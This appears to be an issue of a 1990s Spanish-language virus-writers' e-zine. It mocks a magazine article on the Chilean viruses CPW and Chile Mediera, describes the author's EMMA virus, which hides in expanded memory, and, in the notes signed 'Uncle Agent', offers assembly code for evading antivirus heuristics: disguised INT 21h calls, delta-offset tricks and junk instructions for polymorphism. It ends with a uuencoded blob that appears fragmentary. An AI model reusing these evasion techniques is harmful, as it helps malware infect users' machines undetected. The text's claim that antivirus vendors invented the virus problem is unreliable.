necesita cargar el Command.com, este siempre ser  buscado en la ra¡z, aunque la variable Comspec, est‚ definida por el usuario a otro lugar. Incluso normalmente despu‚s de ciertos comandos va deliberadamente a infectar el Command.com de C:. De esta forma asegura que estar  activo en memoria en cada arranque. [ muy vago lo que pones viejo, aclar , parecer¡a que no tenes mucha idea de lo que decis, pero nooo, que digo.. pero, para.. si?. no.. bue.. ;)] SITUACION PELIGROSISIMA --------------------------------------------------------------------------- [ Los impresionables y/o personas que padezcan de enfermedados cardiovasculares, por favor, abstenerse a leer esta parte.. :) ] A mediados de mayo, se comenzaron a reportar con mayor frecuencia casos de discos duros en que absolutamente todos (o casi) los ejecutables estaban [ todos o casi?, en que quedamos?... la mayor¡a?.. ;) ] infectados con uno de los dos hermanos, cosa muy rara, pues los virus de archivos, normalmente infectan al ejecutarse programas o al hacerse un DIR, lo que hace el proceso realtivamente lento. [ si, la mayor¡a infecta al hacer DIR, el DIR-2, uno que hize yo, el CAOS que infecta con la funci¢n 11 y 12h :), y.. y el DIR-2.. y el.. y el DIR-2. ;) ] Despu‚s de conversar con usuarios y operadores, analizar todas las posibilidades, y realizar innumerables pruebas comenz¢ a revelarse la explicaci¢n. Los dos virus chilenos, el CPW y el Chile Mediera, tienen una rara habilidad. Al estar activo en la RAM uno de ellos, es decir que si durante la sesi¢n o el arranque se ejecut¢ alg£n archivo infectado; y se habr  algun archivo por cualquier raz¢n ‚ste sera casi invariablemente infectado. [ JUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA JUUUUUUUAJJJJJJJEEEEEEEEJJJUJIIIIIJAJJJJJEJUJUAAAAAAAAAAAAAAAAAAAAAAAA JUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA................. y no sigo porque me agarra.. :) DIOSSSSSSSSSSSSSS!, SALVANOS!. que te mandaste pibe!?. Primero, tuviste conversar con usuarios y operadores, analizar todas las posibilidades, y realizar innumerables pruebas para darte cuenta de esto gil de goma!????????????? Idiota, no probaste en desensamblar el virus y leer el codigo!??!. ESTUPIDO, ES UNA FALTA DE RESPETO QUE ESTES ESCRIBIENDO ESTO GIL!!. Ademas, primero te equivocaste y no era el CPW lo que hab¡as encontrado sino el CHME, y dijiste que se comportaba distinto, que tenia una guasa cualidad, y ahora me decis QUE TANTO EL CPW COMO EL CHME INFECTAN AL ABRIR UN FILE??????, deja e' jode'.. :) Ademas, una que da verguenza ya, es ese 'habr ', no sera 'abra' :), BUUUUUUURRROOOOOOOOOOOOOOOOO, viene el verbo ABRIR no HABER! :). el colmo.. (este pudo haber sido la mierda que imprime la revista, pero igual.. :)) ] Entendamos la gravedad de ‚sto, si UD. da el comando: [ si, damelo malo, si, dalo, ego¡sta.. :) ] c:attrib *.* +r /s (return) todos o casi todos los .COM y .EXE de la unidad quedar n infectados con el virus que est‚ activo en RAM. [ PELOTUDO, no hace falta aclarar nada.. :) ] ¨No me creen?, hagan la prueba, ­pero con un diskette! por si acaso. [ No!??!!!, SI!?!, no me estas jodiendo, no te creo, dale, no me jodas, de verdad!???????.. guauuuuuuuuuuuuuuuuu mennnnnn!!!!!!! :). Ademas apolog¡a del delito, me esta incitando a que disperse el virus en discos por ah¡! :) ] Debe haber otros comandos del DOS con los que esto tambi‚n ocurra, estemos alertas. [ PELOTUDO, por lo que dec¡s, CON TODOS LOS COMANDOS QUE ABRAN FILES, FORRO! ] Pero la cosa no termina ah¡, cuando un antivirus scanea en una unidad, debe abrir los archivos para realizar la operaci¢n, ¨que creen que pasa si uno de los dos chilenitos est  en RAM y el software no lo detecta!?, lo mismo que en el caso anterior, se infectan todos los ejecutables, ¨que no me creen de nuevo?, vuelvan hacer la prueba. (parte de esto apareci¢ en Microbyte n§ 100). [ SI termin¢ ah¡ aprendiz de ser humano!. Vos mismo decis que el virus infecta al abrir files, asi TODOS los programas que abran files van a provocar que estos se infecten si son COM o EXE seg£n lo que el virus infecte, asi que de que me hablas retardado!?. y dejate de esa boludez de '¨no me creen?', donde sacaste eso!? :). ] Simplificando la cosa, [ mas a£n? :) ] si se realizaun scaneo con casi cualquier antivirus, dependiendo de algunas condiciones, todos, o casi todos los archivos investigados se habr n infectado, as¡ de simple. [ mierda, esto es CASI LO MISMO, pero no decir lo mismo que pusiste en el p rrafo anterior :). ademas, 'as¡ de simple'.. callate chanta! :) si, segun ciertas condiciones, si scaneas un .TXT no te lo infecta, GIl! ;)] El autor de los virus podr¡a jactarse de que ‚l program¢ asi a sus creaturas, pero debo bajarle los humos de la cabeza, es una casualidad. [ pero call te!, no le podes bajar los humos a nadie vos.... No se pierdan la que viene ahora..] Si ‚l huniera reparado en el hecho, no les hubiera ordenado borrar a los antivirus m s comunes, pues habr¡an sido el mejor veh¡culo para expandir la infecci¢n a niveles incre¡bles. M s bien creo que fue un grave error el borrar antivirus, y que de paso alerta a los usuarios, que algo deber¡an sospechar al ver desaparecer met¢dicamente al software de sus amores. [ la mierda, quien es el gil que ama al SCAN, MSAV o derivados!? :). QUE DECIS SER AMORFO!, no el autor no lo program¢ asi, y el coso se revel¢ y empez¢ a contagiar archivos al ser abiertos!, call te sopilote! :) Ademas, que error ni que error?, podr¡a estar mal el de borrar los antivirus aunque puede ser una buena forma de expresar el odio hacia esas mierdas, pero ademas los usuarios si ven que el SCAN no est  mas lo copian de nuevo y listo!, que decis!. Ademas, gil, si no los borrara, los infectar¡a, y estar¡a delat ndose igual porque al autochequearse el antivirus informar¡a de la situaci¢n, y a£n por porque quedria el codigo del virus pegado al .EXE del antivirus, a si, pero mierda, me olvide, vos no sabes assembler, que mierda que el DEBUG no me lo muestre en Turbo Pascal.. agggg :)..] Temiendo que este fen¢meno tambi‚n suceda con otros espec¡menes aparte de los [ dale.. segu¡ con 'espec¡menes'.. dale.. ;) ] ya nombrados, efect£e tediosas pruebas con el 1575/1591, Jerusalem, cascade [ 'efect£e' ???? :), efect£e yo tediosas pruebas.. :), jaja.. ] DIR-2, todos muy comunes en Am‚rica, y los resultados fueron negativos, concluyentemente. [ ay, cerr  la boca idiota, si, yo analiz‚ el AIDS, hecho en PASCAL y mierda, no hace lo mismo, y el PEPIN, que es overwritting no residente , y tampoco!. Corno!, que raro!. ay infeliz!, demostr s que no ten‚s la menor idea! ] Escarbando en mis archivos s¢lo he encontrado algunas caracter¡sticas similares en los espec¡menes m s peligrosos a nivel mundial, tales como el Dark Avenger, Taiwan 3, 4096 (Frodo), Holocausto y Whale. [ despues ven¡ a mi casa y ense¤ame como haces para 'escarbar' en tus archivos, yo llevo el pico y la pala, vos la coca.. :), y la pr¢xima que digas 'espec¡menes' te hago lavar la boca con agua y jab¢n! :) ] Algunos de estos infectan hasta con un ChkDsk, cosa que no pasa en nuestro caso. [ OHHH!.. dios!..., ademas por qu‚ el 'hasta con un..', y 'cosa que no pasa en nuestro caso'.. inconcordancia lo llamo yo.. :) ] he podido determinar muchas variantes para el problema, dependiendo de algunos factores, principalmente del virus y del antivirus que se trate. Lo primero que queda claro es que el CPW es m s peligroso que su hermano, (en este aspecto puntual) pues no se le escapa pr cticamente ning£n archivo [ no est bamos hablando del CHME!? ] Dir¡a que su efectividad es del 98%. En el caso del Chile Mediera, por razones de dise¤o no infecta a los menores a 10 kb, y deja por causas no determinadas un porcentaje de alrededor del 10% del resto de los archivos sin da¤ar. [ no, basta, sos un caradura, te contradec¡s completamente, antes el Mediera era el mas peligroso, por esa 'habilidad' que dec¡s vos que al final la tienen tanto el CPW como el CHME.. morite... depu‚s me sorprende, no los da¤a, los infecta tonto.., en todo caso los modifica, pero los files no son da¤ados. ] Esto hace que su performance se acerque aproximadamente a un 85% seg£n lo almacenado en el disco. [ cualquiera, cualquiera, cualquiera.. sabes que podes hacer con tus porcentajes no!? :). ] Bueno, me cans‚ de transcribir tantas idioteces, a continuaci¢n viene un comentario de que pasa con los antivirus MSAV, CPAV, NAV y SCAN, incluyendo idioteces como que como el SCAN tiene el comando /NOPAUSE, que no para entre pantalla y pantalla de informaci¢n, y por esto no se puede detener que el virus contagie todos los files, el idiota no conoce el boton que dice RESET... o dice por ej. que normalmente cuando el SCAN nos dice que ha sido modificado, o sea que el codigo del mismo ha sido alterado, cambiado o algo se le ha a¤adido (se le meti¢ un virus digamos :)), uno generalmente responde que si cuando el coso nos advierte de esta situaci¢n y nos pregunta si queremos seguir con la ejecuci¢n del programa... Bue, no hace falta decir nada mas, realmente es una verguenza, despues se atreven a llamarnos 'parias sociales', bueno, ellos son realmente la mierda de este asunto, que no existe como tal, sino que fue inventado por ellos para hacer dinero, sencillamente.. y no me vengan a decir que es mi ideolog¡a y esas mierdas, porque con solo analizar un poco las cosas se dan cuenta... esta publicaci¢n es un ejemplo. Esto no solo es algo que sucede en este mundo de la inform tica, sino en todo el mundo en general, si bien en este momento nos restringimos a lo que pasa en el mundo inform tico, no ser¡a mala idea que recapaciten tambien sobre el ambiente que los rodea en general... :) Por WM’ - I'm my own parasite, i Don't need a host to live, we feed off of each other, we can share our endorphins... - Kurt Cobain's poetry.. :)EMMA Virus --------------------------------------------------------------------------- - EMMA Virus 1.0 By Trurl - En el numero 1 creo que era, salio un script de un virus mio, el EMMA (de Expanded Memory Major Annoyance) version 1.0. Ahora les ofrecemos el source comentado, mas una explicacion de como funciona el virus, y en general de la EMS. (... y todo por el mismo precio). % Epanded Memory Specification % La EMS (Expanded Memory Specification) es, como su nombre lo indica, una especificacion. No tiene nada que ver con el hardware que en realidad exista. Lo usual es que el driver, llamado EMM386 (EMM : Expanded Memory Manager) emule EMS usando la memoria extendida del sistema. (XMS, controlada por el HIMEM.SYS). Por eso es erroneo decir que uno "tiene memoria expandida y extendida". En realidad, cualquiera puede tener EMS con el driver apropiado, sin tener memoria alguna mas alla del mega. De hecho existen EMMs que emulan EMS por disco. Lo correcto es: EMS es una especificacion, independiente del hard. % ¨Como se usa la Expandida ? % La memoria expandida se reserva de a paginas de 16k. El numero de paginas total del sistema depende de la cantidad de memoria que haya. Los Managers de memoria expandida reservan ("allocatean") memoria usando un sistema de handles bastante parecido al de los files de DOS. Al pedir memoria expandida, se da un numero de paginas y el EMM devuelve un handle. A partir de ahi, todas las referencias de memoria se haran con este handle, y un numero de pagina. Para usar esta memoria, sin embargo debe "mapearsela". Esto consiste en colocar una de las pagina (o mas) en algun lugar dentro del mega, para que sea accesible. Para mapear se da el handle, la pagina, y una "pagina fisica", que viene a ser la posicion dentro del mega donde se quiere mapear la pagina. Luego de usarla, se la "desmapea" y listo. (Todo esto conlleva un cierto grado de complejidad, y no sera tratado aqui en detalle). % Funcionamiento del EMMA % ¨Como funciona el virus? Se instala un trozo muy chico de codigo sobre la parte no usada de la tabla de interrupciones, y se reserva una pagina de EMS, y en esta pagina se copia el virus completo. Por ultimo, se captura la int 21 a la rutina de la tabla de interrupciones. Y cada vez que se llama a INT 21, este codigo se encarga de mapear/desmapear el resto del codigo del virus, que esta en memoria expandida. (El tema es que, naturalmente, el virus captura la INT 21, lo cual hace imposible que la INT sea reentrante). Luego de que el virus esta mapeado dentro del mega, la rutinita de la tabla de interrupciones le pasa el control al virus propiamente dicho, y este se encarga de infectar (o no). % En definitiva... % En definitiva, el EMMA no difiere mucho de cualquier otro simple virus residente infector de com parasitico. Solo lo hice para probar la idea de EMS. Solo cabe una ultima observacion: Cargandose en EMS el virus es, como se puede ver, bastante poco conspicuo, y ademas dispone de muchisimo mas espacio para hacer lo que se nos antoje una vez que estamos en memoria (16k bastante no?) % El virus y basta de chachara % Bueno, aca va el virus. ;----------------- Cut Here ----------------------------------------------- Source en EMMA_10.ASM ;----------------- Cut Here ----------------------------------------------- Bueno, cortar, pegar, compilar, etc. Saludos. Trurl, tgc.Notas Referentes a la Programacion Evasiva de Analisis heuristicos.. --------------------------------------------------------------------------- NOTES BY: Uncle Agent. ---------------------- 1- Evadiendo el flag "Undocumented DOS Call" 2- Evadiendo la detecci¢n del Offset Beta 3- Variedades: Instrucciones que no hacen nada (aplicaci¢n en polimorfismo) [- 1 -] Por qu‚ llamar a la interrupci¢n 21h?. Alg£n futuro antivirus con un buen desarrollo heur¡stico (hasta ahora no v¡ ninguno) puede averiguar el estado de los registros (AX, principalmente), al momento de llamar a la interrupci¢n susodicha. No digo que fabricar un antivirus que NO SE LE ESCAPE el estado de un registro como el AX antes de ejecutar la 21h, sea f cil. Esto implicar¡a la realizaci¢n de una m quina virtual, con TODOS los registros y estados posibles del microprocesador. Cada instrucci¢n entonces, ser¡a INTERPRETADA , NO EJECUTADA, y modificar¡a el valor de un registro "virtual". Este registro virtual, digamos el "virtual AX" puede ahora ser le¡do, al detectar el pedido de interrupci¢n 21h. Ahora bien, con esta m quina virtual e imaginaria, qu‚ cosas se pueden detectar y qu‚ cosas se pueden escapar?. Pues bien, yo creo que si est  bien hecha, no se puede perder la pista de lo que pasa con el STACK. Es una implementaci¢n elemental y fundamental para el funcionamiento de cualquier micro. Sin ‚l, ni un micro imaginario podr¡a usar sub-programas :-). Adem s, no puede perder la pista de lo que pasa con el resto de los registros. En definitiva:no importa cu nto se "mareen" o se mezclen registros y datos. Este antivirus imaginario har¡a que DRAKO, juegue al handball de por vida. Perm¡tanme transcribir parte de un texto de DRAKO: ;-------------------------------------------------------------------------- ( ... viene hablando del F-Prot en modo heur¡stico) ;======================SEGUIA SALTANDO============================= Pero en un momento de ocio mental, debido a que se corto la luz, se me ocurrio joder con otro registro.. Pense que si ya me caga eso tambien, bueno, la programacion de virus no era lo mio y mejor me dedique a jugar al handball :-). Bueno, lo probe y funciono.. Si, el flag del Vsafe ya no saltaba mas: MOV CX, 5945h MOV DX, CX MOV CX, 0FA01h MOV AX, CX INT 21h Hasta este momento no se me presento ningun otro flag que no se cague de la misma manera que al Thunderbyte, asi que los dejo y espero que no tengan que reescribir sus virus por este programa de mierda! jejeje. Saludos, drako. ;-------------------------------------------------------------------------- Obs‚rvese que el F-Prot, NO TIENE IMPLEMENTADO UN MICRO VIRTUAL CON TODOS LOS REGISTROS. Por eso drako pudo detener el flag(aunque tal vez con esto nos estemos perdiendo un futuro astro del handball :)). Posiblemente no pase mucho tiempo, hasta que F-Prot o Thunderbyte haga algo mejor y este flag vuelva a "saltar". Ya es bastante dif¡cil hacer un MICRO virtual. Imaginen lo que ser¡a implementar una PC virtual. Creo que va a pasar mucho m s tiempo. (pero es cuesti¢n de tiempo, inversi¢n y ganas) Entonces un antivirus que implemente un micro virtual, pero que no lleve la pista de lo que pasa en "otros" componentes del PC, se le va a hacer muy dif¡cil rastrear a virus NO TRADICIONALES. "otros", se refiere a cosas como: - Tabla de vectores de interrupci¢n - Estado de los registros del FDC, HDC, TRC controller, etc - Estado de variables en el segmento de datos del bios. - Estado de ports R/W (como el de la interface paralela) - Estado de variables definidas en alguna zona de memoria, y cuanto m s extra¤a, mejor: Ej.: en la RAM de VIDEO. o en la RAM CMOS. - Etc. Etc. Etc. ... >>>>> PROPUESTA 1: ( o QUE LES PARECE ESTE CACHO DE CODIGO) ------------------- cli ; Deshabilitar Interrupciones ! push ds es ; salvar ds y es mov ax, 1200h ;AL=00h, AH= cualquier cosa (no se ;usa) mov dx, direcci¢n_de_la_puerta_paralela ; [Data Register] out dx, al ; Pongo 0 en la puerta paralela jmp $+2 ; I/O Delay.- mov si, 21h*4 ; Vector de INT 21h mov di, 18h*4 ; Vector de INT 18h (ROM Basic) in al, dx ; AL sigue en cero, pero despista a ; la m quina virt. AH = AL => AX=0 cbw mov ds, ax ; DS=0 |=> Segmento de los vectores mov es, ax ; ES=0 |=> de interrupci¢n.- movsw ; Copio el vect. 21h a la direcci¢n movsw ; del vector 18h. pop es ds ; restauro sti ; habilito interrupciones ; ... .... .... .... ; ; ... .... .... .... mov dx, 5945h ; This piece of code, (c) By mov ax, 0fa01h ; Drako (Handball Manager). ; int 18h ; INT 18h ð INT 21h ;-------------------------------------------------------------------------- >>>>>> PROPUESTA 2: ( o QUE LES PARECE ESTE OTRO CACHO DE CODIGO) -------------------- jmp start int21 dw 2 dup (55aah) start: cli ; Deshabilitar Interrupciones ! push ds es ; salvar ds y es push cs ; pop es ; es = cs mov ax, 1200h ; AL=00h, AH=cualquier cosa (no se ; usa) mov dx, direcci¢n_de_la_puerta_paralela ; [DATA REGISTER] out dx, al ; Pongo 0 en la puerta paralela jmp $+2 ; I/O Delay.- mov si, 21h*4 ; Vector de INT 21h mov di, offset int21 ; offset de memoria a int21 in al, dx ; AL sigue en cero, pero despista a ; la cbw ; m quina virtual. AH=0=AL => AX=0 mov ds, ax ; DS=0 |=> Seg. de vect. de int..- movsw ; Copio el vector 21h, a la ; direcci¢n de memoria int21. movsw pop es ds ; restauro sti ; habilito interrupciones ; ... .... .... .... ; ; ... .... .... .... mov dx, 5945h ; This piece of code, (c) By mov ax, 0fa01h ; Drako (Handball Manager). ; sub sp, 2 ; simulo pushf call dword ptr cs:[int21] ; a ejecutar int21 ! ;-------------------------------------------------------------------------- Como ver n, la idea es: ----------------------- 1§.- Despistar a una posible m quina virtual, por introducir en alg£n punto un estado desconocido (estado de un controlador). Como el estado de AX es desconocido, es desconocido tambi‚n el estado de DS (ver asignaci¢n MOV DS,AX); con lo que tambi‚n es desconocido el segmento (tabla de vectores de interrupci¢n) al cual estamos accediendo en las dos instrucciones "MOVSW" 2§.- Cambiar la apariencia de la instrucci¢n INT 21h (CD 21), ya sea haciendo equivalente otra interrupci¢n (int 18h p.ej.) o llam ndola con un FAR CALL. Con esto, pierden sentido (desde el punto de vista anal¡tico) el contenido de los registros que ingresan a la interrupci¢n disfrazada, o m s a£n, a un FAR CALL (para el caso en que alguien haga un analizador de c¢digo muy quisquilloso). ;========================================================================== [- 2 -] OTRA: (para obtener el offset beta) cs:100 mov bp, sp ; leo el valor actual del SP cs:102 mov ah, 00 ; llamo a una interrupci¢n AL PEDO cs:104 int 1A ; (system timer) cs:106 mov bp, [bp-06] ; leo del stack la direcci¢n de ; re torno (IP) >>>>> a partir de la instrucci¢n anterior, BP=106h ;========================================================================== [- 3 -] Instrucciones que no hacen nada: ------------------------------- EB00 jmp short $+2 ;Adem s vac¡a la pipeline del cach‚ (!) ;(£til, para evitar dramas [*] con c¢digo ;mutante) ;[*] ð Colgadas inexplicables con æ 486 en ;mothers taiwaneses, con BUGS en los cach‚s ;secundarios. 8BC0 mov ax, ax ; 8AC0 mov al, al ; 8AE4 mov ah, ah ; 8BC9 mov cx, cx ; 8AC9 mov cl, cl ; 8AED mov ch, ch ; 8BD2 mov dx, dx ; 8AD2 mov dl, dl ; 8AF6 mov dh, dh ; 8BDB mov bx, bx ; 8ADB mov bl, bl ; 8AFF mov bh, bh ; 8BF6 mov si, si ; 8BFF mov di, di ; mov bp, bp ; mov sp, sp ; 90 xchg ax, ax ; = nop (Tradicional, no? :-) ) 86C0 xchg al, al ; 86E4 xchg ah, ah ; 87DB xchg bx, bx ; 86DB xchg bl, bl ; 86FF xchg bh, bh ; 87C9 xchg cx, cx ; 86C9 xchg cl, cl ; 86ED xchg ch, ch ; 87D2 xchg dx, dx ; 86D2 xchg dl, dl ; 86F6 xchg dh, dh ; 87F6 xchg si, si ; 87FF xchg di, di ; 87ED xchg bp, bp ; xchg sp, sp ; ;-------------------------------------------------------------------------- ; Afectuosos Saludos a la comunidad virulenta. ; >>>>>> Uncle Agent. <<<<<< ;-------------------------------------------------------------------------- begin 666 minotaur.ng M3D< 0 @!6:7)U M&!H:]\H:&H<4&QKXE!L:F=$;&C/R&QI&&AH:&AH:&G,:&AH:&AH:;QH:&AH: M&AIE&AH:&AH:&I8:&AH:&AH:A!H:&AH:&AJT&AH:&AH:&DIH=7UH>W=WW9N6YU:&D:66AC:FYU?6A[ M:G)C&DA_:7-^?W1Y?SI7?VYR=7YI&EMT;G,W6W1NV]H=1I9:']^7EY1H:&AH:&AH:&AH:&@0:=1D: M&B :HS$:&GH:_$@:&IP:BV :&KD:BX8:&CI)=6]H>7\Z?G]V.BTB+#HK-"HZ M-SI,7\Z?G]V.EMLSHH-2@Z-SI?=G-P>W(Z6'MV?V,:.DEU;VAY M?SI^?W8Z7U=76SHK-"HZ-SI.:&]H=AHZ275O:'E_.GY_=CI,>W=JW%U.CPZ0'MH>VYR;VEN:'L:&QHJ,C ;&AH:&IX8&AH:&AH:Y>7E MY:,Q&AHA7&]_=&Y_.GY_=CHM(BPZ;"LT*BLT-!HA-SWM[>1AHAJ>4?J<#>WM[>WM[> MWM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[> MWM[>WM[>WM[>WJ4:(:GE'ZFI.DQS2&]).BTB+#IL*S0J*SHW-R0Z:G5H.N&W M0O[XY07 PQHAJ>4?V:YD9&1D9&1D9&1D9&1D9&1D9&1D9&1D9&1D9&1D9&1D MY0? PQHAJ>4?J:GE(<##&B&IY1_9KEE[:'MY;G]H4?J:DZ M.C=4=3IH?VES?G]T;G_E,,##&B&IY1_9KCHZ-UMJ:G]T?G-T?>4VP,,:(:GE M'ZFI.CHW5'4Z:']S='Q_>6Y[.GQS=G]IY3C PQHAJ>4?V:XZWM[>WM[>WM[> MWM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[> MKAHAJ>4?J:DZ.C=3='Q_>6Y[.GMV.GQS='MV.GY_=CI\4? MV:XZ.C=7>W1^>SIO=#IW?W1I>W!_.G]V.BDK.GY_.GYS>7-_=WAH?^4(VJ4: M(:GE'ZFI.CHW3'-H;W9_='ES>R Z*SI_=#HKY3[:I1HAJ>4?V:XZ.C=8;VEY M>SI\SI_=CI.6%M,.G]T.G=U?G4Z4E-= M4CIT4?J:GE)]JE&B&IY1^IJ3HZ-3 Z66A_ M>WYU.G]V.BLZ?G\Z4&]T4 VJ4:(:GE'ZG:WM[>WM[> MWM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[>WM[> MWM[>WM[>WM[>WM[>PQHAJ>4?J1HAJ>4?J1HAJ>4?J1HAJ>4?J1H:-"@B+'D: M675^VANY1E*:'5Y.EQ[ M:!H:Y1)P=VKE'UEU=W-_=&!UY0HA4%=*.BDZ>&-N?VDZ>W8Z;'-H;VD:Y1)^ M>.4<.$PXY0\A5WMH>7LZ?G\Z6Y[?G4Z,G)U:6XS&N42=W5LY1][8C8Z*BYY*BIR M&N42VMOSI_=CI,>6D:Y1)J=6KE'WYI&N42:G5JY1]_:1H:Y1)Y>W9V MY1Y*:'5Y17Q[=FEUY10A5G9[=WLZ>SI*:'5Y17Q[=FEU.FI[:'LZ:V]_.FMO M?WY_&DIH=7E%?'MV:77E'&IH=7DZ='][:.45(7]T.G]V.FEN>WEQ.G]V.FA_ M?30Z4TH:2FAU>45\>W9I=>4SI*54HZ6$H:Y1)W=6SE'WAJ-CIM=6A^.FIN:#II M:2!!?G-'Y1XA24]8.EA*-CI57%Q)7TXZ2DA5645<6U9)51KE$FEO>.4?>&HV M.G5\?&E_;CI*:'5Y17Q[=FEUY1DA7VEN=3I_:3IO='LZ;G]Y='-Y>SI[=&YS M-W)_;VAS:6YS>7L:Y1)[?G[E'VEJ-CHJ*'X:&B%6=3IJ:'-W?VAU.FMO?SIR M>WE_.GMV.G]P?WEO;GMH:7\V.G]I.G5X;G]T?V@Z:6\Z:G5IW9Y;W9U.GY_=CIU?'QI?VXZ^S0Z M3W1[.FQ_8#IK;W\Z:7MX?SI^=71^?SI_:6Y[.FI[:'M^=3I_=CIL7-[.GLZ:6]I.FIH=6IS>VDZ;'MH&HT-!HA-S6(V.BXI?N4+(4E[=FQ[.EY.6SIU:'-]^4??G,V.GAJ.C$Z7DY;175H3ELZ?G]V.FIH=7UH>W=[&B%S='Q_>6Y[?G4T M.E]I;G4Z=G4ZW8Z>&]I>7MH.F]T.GQS=G\Z>6][ M=FMOSIJ>VA[&B%S='Q_>6Y[:#IY=70Z=GLZ?&]T>7.X=#HN?W(Z,EAO M:7E[:#IV>SIJ:'-W?VA[.G]T;FA[?GLS.K@Z+GQR.C)8;VEY>V@Z=GL:(6IH MN&)S=WLZ?W1N:'M^>S,V.FE_.G1U:3I^?VEN:&]C?W0Z=G5I.GY[;G5I.FMO M?SIN?W1S>W=U:3I_=#I_=CI>3EL:(75HSIY=70Z=G5I.GY[;G5I.GY_=CI[:'ER75T;FA[?G4Z:G5H M.G=_?G-U&B%^?SI_:6Y[:3I\;W1YW=[.GMT?'-N:'.X=#8:(74Z:7][.FMO M?SI[=CII?V@Z:75X:']_:7EHQHASIV>SIW>VMOSII>WE[.GY[;G5I.GY_.GMRVES-CIU:7][&B%K;W\Z?W8Z:FAU?6A[ M=WLZ:7MV?SI[=CI>54DZ>75T.G]H:'5H-#0:(3VAU.FMO M?SIT=3I_<']Y;VY[.G9U:3I^>VYU:1KE$B$W-S#HN*7XZ?F]J.C(J,^40(5]I:GMYSI_=CI>3EL: M4&]W:N46?G@Z*G\C#HX,#19)5#HX7VEN?SI_:3I_=CIL#HX7WER M=3IJ=6@Z-S-#I26U916S4T.E-T?F]I;FAS M>SI;:'U_=&YS='LX-CHJ>W(V.BI^#HX2V]_=W]T.GMV.G=OOG]Y=3I^ M?W8Z>B,N.S@V.BI[W(V.BI^7%%2G9[8U9U>WX@&N42=W5LY1][&A_&N42WX:&N42>7=JY1]^=C8Z M*2OE""%9SII?SIL?VAS?'-Y>SII6]Y<[AT.GY_=CI\7-_=WAH?S0T.E]I;G4Z:7\ZSI\ M?WER>SI[=CIIW(Z?G\Z=GLZ4C8Z=6E_>SIK;W\Z=G4Z>75W:GMH=3IY=70Z?W8Z=W]I&B$K M*#HR7G-Y&A_.B W,S0T.FES.G]I.G]V.G=_:3IY=6AH?WEN=38Z=W\Z M?'-P=3II[YU.C(I*SI^?QHA7G-Y-#,V.GEU=VI[:'MT M?G4Z7E8Z>75T.BDK-#0Z7G5T?G\Z7E8Z>75T;G-_='\Z?W8Z?G-[.GMY;F][ M=C0T.E]T.GE[:74Z?G\:(6MO?SII?WLZ=GLZ?']YS8Z:7\Z M?W!_>6]N>SI_=CIJ=GMC=G5[?C8ZN#IY>VA]>SJX.CU^?VYU='MY<[AT/1HA M?G]V.FQS:&]I-#I9=7=U.G]V.BTB+#IL*S0J*SI_:3IO=#ILSIO=#IW?W1I>W!_&B%C.G1U.GY_<'MH>SIK M;W\Z:7\Z:7-]>SI_<']Y;VY[='YU.G]V.GQS=G\ZWYU.FE[=G-_ M='YU.GMV.EY5230T&B%?=#IY>VEU.GY_.FMO?SI453II?WLZ=GLZ?']YS8Z:7\Z:7MV;GLZ>SIV>SI_;G-K;W]N>SI4545*5EM#5E5;7C8: M(7]T.GYU='Y_.FE_.G-T;G]T;GLZV@Z=6YH=3I[:'ERV(V.BHC M*BIRY14A7VDZ*2LZ?G\Z?G-Y&A_-CIW=6EN:'MH.G=_=&E[<'\[&N42 M=G][Y1]^8C8Z>&HZ,3I7?W1I>W!_&N42V(V M.BHN>2HJ6]N>SI_=CIJ:'5]-#IS='Q_>6Y[?G4:Y1)S M=&[E'RHH*W(:&E1U14IV>V-V=7M^(!KE$GEV?N4'(4A_:6Y[;VA[.G9U:3HN M.FIH6(V.BY^&N42=W5LY1]^;A^&-N?VDZ?G]V.FIH=7UH>W=[.G5H M6AS;G5I.GEU=#I_=CIU>'!_ M;G4Z?G\Z?GMH=G\Z?W8Z>75T;FAU=CI[.G1O?VEN:'4Z;'-H;VDT-!HA5'5I M=6YH=6DZ>W8ZV@Z;W0Z?'-V?S8Z8SIJ>VA[.FMO?SIO='LZ;']@ M.FMO?SII?SI_<']Y;VY_.G]V.GQS=G\V.FMO?QHA=&]_:6YH=3IL6AS M>'-W=6DZ=G5I&B%J:'-W?VAU:3IX8VY_:3I^?W8Z:FAU?6A[=WLZ>75T.F]T M.CWS0D(].GYU='Y_.G]V.O,Z?VDZ?W8Z6TE94U,Z?G]V.G!O=VHV.F,:(4)" M.G9[.GYS:']Y>7-U=#I^?W8Z:7MV;G4T-#0Z<&]I;GMW?W1N?SIV>SI^7ES=70Z?G\Z=&]_:6YH=3IL6YU-CIJ?VAU.GEO>W1^=3IV?SIK;W]H?W=U:3I^?VQU=FQ_:#I_=CIY M=71N:'5V.GMV&B%J:'5]:'MW>SIU:'-]75T.FMO?SIT=6DZ?W1Y M=71N:'MW=6DZ)3I+;W\ZSI_:6Y[?G4Z:G-U=GL:(7UO>VA^>V@Z M=G5I.FIHW8Z(3,T.EMI MV@Z?W8Z>75T;FAU=C8Z=G4Z;W1S M>74Z:V]_.G1_>7]IV@Z=G5I.FIH7)U:3TZ:G5H.G9U:3IX;W]T=6DV.F,Z:7MV;GMH M.GMV.G5\?&E_;CHK*BIR.C)>?SI^=71^?SII?SIY>VA]>QHA;G5^=3I_=CIY MN'YS?74Z?W!_>6]N>WAV?SI^?SI.55Y523IV=6DZ6557,S0:(3V(V.BHN?RHJ6YU:'-U M&N42=W5LY1]Y8C8Z*AKE$G9_>^4??F(V.EQS=G]%>&]I>3HQ.GAJ&N42V-%?'-V?VGE%2%)>W9N>SIIV,Z,#19)5<: M&B%8;W]T=38Z?W1N=71Y?VDZ>&]I>74Z?W8Z:FAS=W]H.EE55SI^?W8Z?G-H M?WEN=6AS=30T.DES.G]T>6]_=&YH=3I[=GUO=#I\W9N M=3I[.E);0T5<4U9?23IC.G=_.GQS<'4Z:7,Z?VEN>SIS='Q_>6Y[?G4T-#I) MV,Z='-T?6]T.GQS=G\V&B%V?SI^?VQO?W9L=3I_=CIY=71N:'5V M.GMV.EE55SIIV@Z='M^>SIC.G9S:6YU-#0T.G=[=GLZ=G]Y MV@@Y04A5'4Z!H:Y1)J;VERY1XJ*RHJ 